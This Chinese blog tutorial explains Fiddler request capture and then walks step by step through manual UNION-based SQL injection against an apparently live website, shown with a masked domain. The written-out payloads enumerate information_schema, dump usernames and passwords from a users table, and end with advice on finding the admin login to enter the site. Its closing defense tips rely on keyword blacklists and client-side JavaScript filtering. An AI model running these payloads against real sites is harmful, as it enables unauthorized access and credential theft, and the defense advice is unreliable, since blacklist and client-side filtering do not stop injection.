您的位置:首页 > 数据库 > MySQL

[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包

2017-07-30 01:09 1221 查看
这是最近学习渗透和网站攻防的基础性文章,前面文章从数据库原理解读了防止SQL注入、SQLMAP的基础用法、数据库差异备份、Caidao神器。这篇文章将详细讲解MySQL数据库攻防知识,有点类似第一篇文章,然后其核心是解决局部刷新数据的思想,并通过Fiddler神器分析数据包的方法。希望自己能深入地学习这部分知识,作为一个初学者,在探索网络攻防和渗透的路上还很长。同时,希望文章对你有所帮助,尤其是学习网络安全的初学者,错误或不足之处还请海涵~    一.Fiddler神器基础用法&局部刷新问题
        1.什么是Fiddler
        2.Fiddler基础用法
        3.局部刷新问题
    二.Fiddler分析MySQL数据库
        1.Fiddler分析界面
        2.数据库如何判断字段总数 order by
        3.数据库获取显示位 union
        4.数据库显示应数据 database()
        5.数据库获取所有数据库名 information_schema
        5.数据库获取表名及列名 table_name
        6.数据库获取登录表字段 columns 
        7.数据库返回用户名和密码 
        8.登录系统
    三.数据库防御措施
 
   
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器

一. Fiddler神器基础用法&局部刷新问题

作者最早接触Fiddler,是身边一个大神,通过Fiddler+C#自制抓取Ipad游戏数据做外挂,让自己的人物总能捡到好装备,十分之崇拜,后悔没跟着他学习下。现在准备好好研究下它吧,希望文章也对你有所帮助。
首先作者简单介绍什么是Fiddler及基础功能,这里引用ohmygirl大神的文章部分内容。
    【HTTP】Fiddler(一) - Fiddler简介
该文章简单易懂,推荐大家阅读。

1.什么是Fiddler
Fiddler是位于客户端和服务器端的HTTP代理,也是目前最常用的http抓包工具之一 。 它能够记录客户端和服务器之间的所有 HTTP请求,可以针对特定的HTTP请求,分析请求数据、设置断点、调试web应用、修改请求的数据,甚至可以修改服务器返回的数据,功能非常强大,是web调试的利器。



Fiddler是用C#写出来的,它包含一个简单却功能强大的基于JScript .NET 事件脚本子系统,它的灵活性非常棒,可以支持众多的http调试任务,并且能够使用.net框架语言进行扩展。安装前需安装microsoft .net framework可执行文件。

2.Fiddler基础用法
运行主界面如下所示:



主界面中主要包括四个常用的块:
(1) Fiddler菜单栏
顶部为菜单栏,包括捕获http请求,停止捕获请求,保存http请求,载入本地session、设置捕获规则等功能。
(2) Fiddler工具栏
菜单栏下来是一行工具栏,包括Fiddler针对当前view的操作(暂停、清除session、decode模式、清除缓存等)。
(3) Web Session面板
左边部分位Web Session面板,主要是Fiddler抓取到的每条http请求(每一条称为一个session),主要包含了请求的url、协议、状态码、body等信息。其中常见状态码为:
    200--成功,服务器成功处理请求且响应已成功接收。
    301--请求的URL
    400--坏请求。当目的服务器接收到请求但不理解细节所以无法处理时发生。
    404--页面找不到。如果目标API已移动或已更新但未保留向后兼容性时发生。
    500--内部服务器错误。服务器端发生了某种致命错误,且错误并被服务提供商捕获。
详细的字段含义如下图所示:



(4) 详情和数据统计面板
右边部分位详情和数据统计针对每条http请求的具体统计(例如发送/接受字节数,发送/接收时间,还有粗略统计世界各地访问该服务器所花费的时间)和数据包分析。
其中最常用的是inspector面板,提供了headers、textview、hexview、Raw等多种方式查看单条http请求的请求报文的信息。



下面的实例主要应用的就是Inspectors面板下的Raw模块。

3.局部刷新问题
在网站开发过程中,局部刷新是常见又实用的功能,局部刷新通过可以调用iframe、ajax等技术实现。下面是我们团队设计的局部刷新界面。



再如下图一个局部刷新,点击左边的地图可以在右边显示位置,同时下面出现对应国家的基础信息,但是URL仍然为同一个。



如果通过手工注入或SQLMAP是没有反馈结果的,毕竟URL都没有变化。此时你准备怎么解决呢?脑袋是否都想疼了,感谢Na老师和ST老师推荐的Fiddler,下面将结合该工具进行简单叙述,普及它的基础用法。

二. Fiddler分析MySQL数据库

1.Fiddler分析界面
首先,打开Fiddler后在Web session面板按住Ctrl+A,选中所有界面后点击Delete删除。因为它是实时捕获信息的,先删除该页面。



接着在浏览器中输入网址:http://www.xxx.com/worldmap/index
1) Fiddler捕获请求
此时点击其中一个超链接,下面会返回相关信息,此时观察Fiddler,如下图所示,其原理是浏览器点击超链接发送一个请求,Fiddler截获其数据包,200表示成功访问,主机域名和对应URL即对应链接。



2) Inspectors Raw操作
此时点击Inspectors,右边上下都选择Raw界面,余下部分作者主要使用Inspectors界面的Raw进行操作。上面的Raw是你发出的请求,下面的Raw是你的回复。
点击右部的“Response body is encoded. Click to decode”按钮,其原理是网页传输都是压缩过的,然后你需要解压一下,查找网页的原信息。点击前后对比如下所示:


  


3) F12键实时捕获
此时可以在Fiddler中按F12键,它表示是否实时截获浏览器的数据。按F12后,只需要在Fiddler中操作我们所需界面即可,否则实时操作,请求很多。按F12后右底部显示该图表示实时截获。



点击左边Web Session面板的URL,右面显示其对应的请求信息。

4) URL分析
对应的URL为:http://www.xxx.com/worldmap/view/prefix/CN
反馈的信息为其对应的内容,说明数据库中有类似Area='CN'的语句。现在如果把AF换成AF--呢?首先我们需要解决,怎么在Fiddler中修改URL,并获取返回结果。

5) Raw下修改URL产生一个新请求
选中URL并点击键盘快捷键E,可以在Inspectors的Raw界面下修改URL;另一种方法是右键URL,然后选择Replay,Reissue and Edit。然后将URL修改成"CN--",点击"Run to Completion"按钮产生新的请求,Fiddler会监听浏览器的请求,如果URL访问错误则不会有响应结果,状态码为500等。



下面开始结合MySQL数据库知识进行讲解了。

2.数据库如何判断字段总数 order by
Inspectors页面Raw进行编辑URL
(1) GET http://xxxxx/prefix/CN')+order+by+1# HTTP/1.1   (正常显示)
对应的MySQL语句:
select .... from table where area=('cn') order by 1 # and xxxx;
按照1个字段进行排序,正常显示表示该URL对应的SQL语句至少一个字段。
注意:CN后面的 ') 用单引号+括号匹配结束该字符,同时Fiddler加号连接URL,而第一篇文章 "一.从数据库原理学习网络攻防及防止SQL注入" URL是空格连接的。最后的#表示在MySQL中注释包括#和--,这里--报错,而#成功访问,如下图所示。



(2) GET http://xxxxx/prefix/CN')+order+by+8# HTTP/1.1   (正常显示)
对应的SQL语句:
select .... from table where area=('cn') order by 8 # and xxxx;
如果出现乱码,则点击右部的“Response body is encoded. Click to decode.”按钮进行查看。

(3) GET http://xxxxx/prefix/CN')+order+by+9# HTTP/1.1   (错误显示)
对应的SQL语句:
select .... from table where area=('cn') order by 9 # and xxxx;
表示该查询总共8个字段,下面需要开始测试反馈内容。重点:字段共8个。

3.数据库获取显示位 union
在得到字段个数后,需要获取字段位置,则使用union或union all。其中union表示将两个select结果整体显示,并合并相同的结果,union all显示全部结果。例如:



(1) GET http://xxxxx/prefix/CN')+union+select+null,null,null,null,null,null,null,null# HTTP/1.1 
对应的SQL语句:
select .... from table where area=('cn')
union select null,null,null,null,null,null,null,null  # and xxxx;
正常显示,共8个null,表示通配符,对应8个字段。



(2) GET http://xxxxx/prefix/CN')+union+select+1,2,3,4,5,6,7,8# HTTP/1.1 
对应的SQL语句:
select .... from table where area=('cn') 
union select 1,2,3,4,5,6,7,8  # and xxxx;
此时需要观察反馈的数字,它就是我们获取的那道门,该数字这是进入房间的大门。前面第一篇文章是通过URL测试,如果报错则null替换数字,此时不需要。

(3) GET http://xxxxx/prefix/CNab')+union+select+1,2,3,4,5,6,7,8# HTTP/1.1 
对应的SQL语句:
select .... from table where area=('CNab') 
union select 1,2,3,4,5,6,7,8  # and xxxx;
然后将"CN"修改成"Cnab",让其报错不反馈前面的内容,而反馈后面union select 1....8的数字,运行结果如下所示,数字6则为漏洞。
重点:CNab让第一条SQL语句不返回,只关注我们的信息。



接下来想办法将我们需要的结果在这里显示即可,数据都是从后台数据库中查询出来的。

4.数据库显示应数据 database()
(1) GET http://xxxxx/prefix/CN')+union+select+1,2,3,4,5,database(),7,8# HTTP/1.1 
对应的SQL语句:
select .... from table where area=('cn') 
union select 1,2,3,4,5,database(),7,8  # and xxxx;
MySQL数据库中database()用于获取数据库的内容,version()用于获取当前数据库版本号内容。如下当前数据库为20170720df。



查询的结果如下所示,数据库为mfa。



如果想连接,则使用concat()拼接函数:
(2) union+select+1,2,3,4,5,concat(user(),0x20,database(),0x20,version()),7,8#
反馈结果,0x20表示空格:
mfaroot@localhost mfa 5.5.4-deb8u1-log
<div class="line-block"></div>
<div class="line-block"></div>

5.获取当前所有数据库 information_schema
那么怎么获取数据库所有的数据库名呢?
作者最早想到的是SQL语句:
select table_name from information_schema.tables;
该语句反馈整个数据库系统中,所有的表名,如下所示:



但是下面的链接反馈500错误: http://xxxxx/prefix/CNab')+union+all+select+1,2,3,4,5, (select+table_name+from+information_schema.tables),7,8#
这是因为需要将数据库反馈结果拼接成一行,同时还需要指定只获取mfa数据库里面的表,则使用如下方法:
mysql安装成功后可以看到已经存在mysql、information_schema和test这个几个数据库
information_schema库中有一个名为COLUMNS的表,这个表中记录了数据库中所有表的字段信息。
知道这个表后,获取任意表的字段就只需要一条select语句即可。如:

select COLUMN_NAME from information_schema.COLUMNS where table_name = 'your_table_name';

(1) GET http://xxxxx/prefix/CN')+union+all+select+1,2,3,4,5,
    group_concat(distinct+table_schema),7,8+from+
    information_schema.columns#
 HTTP/1.1 
对应的SQL语句:
select .... from table where area=('cn') 
union all select 1,2,3,4,5,group_concat(distinct+table_schema),7,8
from information_schema.columns# and xxxx;
Fiddleer输出结果如下所示:
information_schema,mfa
<div class="line-block"></div>
<div class="line-block"></div>

(2) GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+     select+1,2,3,4,5,group_concat(distinct+table_schema),7,8+from+
    information_schema.columns+where+table_schema=database()#
 HTTP/1.1 
对应的SQL语句:
select group_concat(distinct+table_schema) from 
information_schema.columns where table_schema=database();
本地数据库测试如下图所示:



Fiddler输出结果如下所示,同理获取表名。
mfa
<div class="line-block"></div>
<div class="line-block"></div>

6.数据库获取表名及列名 table_name
(1) GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+     select+1,2,3,4,5,group_concat(distinct+table_name),7,8+from+
    information_schema.tables+where+table_schema=database()#
HTTP/1.1 
对应的MySQL语句,table_name、tables表示表名:
select group_concat(distinct+table_name) from
information_schema.tables where table_schema=database();
本地数据库测试如下图所示,输出结果包括该各个表名。



输出结果如下所示:



问题,但是我并没有找到登录表,原来group_concat有限制,那怎么处理呢?使用limit m,n进行限制,从m开始输出n个字段。平时常使用的是limit n输出前n个字段。
select table_name from information_schema.tables 
where table_schema=database() limit 10,5;
本地数据库从10序号开始输出5个字段,如下所示:



依次从0开始输出20个字段,并count()统计总共多少张表,总会找到登陆表。

(2) GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+     select+1,2,3,4,5,group_concat(distinct+table_name),7,8+from+
    (select+table_name+from+information_schema.tables+
    where+table_schema=database()+limit+0,20)+as+sub# 
 HTTP/1.1 
对应的MySQL语句如下,使用子查询获取20个表名,再进行拼接输出:
select group_concat(distinct+table_name) from 
(select table_name from information_schema.tables
 where table_schema=database() limit 0,20) as sub;
输出结果如下:



(3) GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+     select+1,2,3,4,5,group_concat(distinct+table_name),7,8+from+
    (select+table_name+from+information_schema.tables+
    where+table_schema=database()+limit+100,20)+as+sub# 
 HTTP/1.1 
依次从limit 20,20、limit 40,20、limit 100,20进行获取,最好发现登录表为users。
重点:登陆表users

7.数据库获取登录表字段 columns
获取登录表的字段,使用SQL语句:
select group_concat(distinct+column_name) from 
information_schema.columns where table_name='users';
本地数据库运行结果如下所示:



(1) GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+     select+1,2,3,4,5,group_concat(distinct+column_name),7,8+from+
    information_schema.columns+where+table_name='users'#
 HTTP/1.1 
对应的MySQL语句,table_name、tables表示表名:
select 1,2,3,4,5,group_concat(distinct+tcolumn_name),7,8 from 
information_schema.columns where table_name='users';
输出结果如下图所示:



重点:用户名字段username、密码password。

8.数据库返回用户名和密码 
(1) GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+     select+1,2,3,4,5,group_concat(distinct+username,[b]0x2b[b],[/b][/b]
    password,0x2b,vozrast),7,8+from+users# HTTP/1.1 
对应的MySQL语句,table_name、tables表示表名:
select group_concat(distinct+username,0x2b,password,0x2b,vozrast) from users;
点击"Run to completion"按钮输出结果如下图所示,0x2b表示加号,如果获取更多用户名和密码,你可以自己思考下?



9.登录系统

登录怎么找到登录页面呢?照网站后台的方法:
方法一:一定用谷歌搜索,admin、login、system、manage、user等关键词;
方法二:配置文件robots.txt,网页链接等;
方法三:扫描目录,通过一些工具。



然后登录即可。

三. 数据库防御措施

真正的困难在于如何找到一个存在漏洞的网站,如何去防护。现在很多网站都应做好相关防御措施,手工SQL注入是没有反应的,但是找到漏洞后,再利用SQLMAP就能够找到相应的用户名和密码。
参考前文,个人理解的防御措施:    1.在URL设置不允许非法字符,如单引号、等号、注释--、减号,提示非法参数;
    2.在URL设置不允许SQL常见的关键词,如and、select、or、insert等;
    3.传递的id=115参数必须为数字才能正常跳转,否则跳转错误;
    4.服务器启用SQL注入拦截功能,提示当前网页的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墙拦截,因为可能通过POST、Cookies进行攻击,各方面都需要做到防御。
    5.可以使用js在客户端进行不安全字符屏蔽,也可以在jsp中调用该函数检查是否包函非法字符,或使用正则表达式过滤传入的参数,防止SQL从URL注入。

希望文章对你有所帮助,尤其是网络安全的程序员,因为系列文章是和前文息息相关的,所以看着有些凌乱。如果文章存在错误或不足之处,还请海涵。感谢娜师傅的一路陪伴,学中文的扔掉了手中的尤克里里,教我写代码也是很疯狂的啊,哈哈!不忘初心,继续前行。加油,秀璋。绿妖,晚安!
(By:Eastmount 2017-07-30 深夜1点  http://blog.csdn.net/eastmount/ )
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: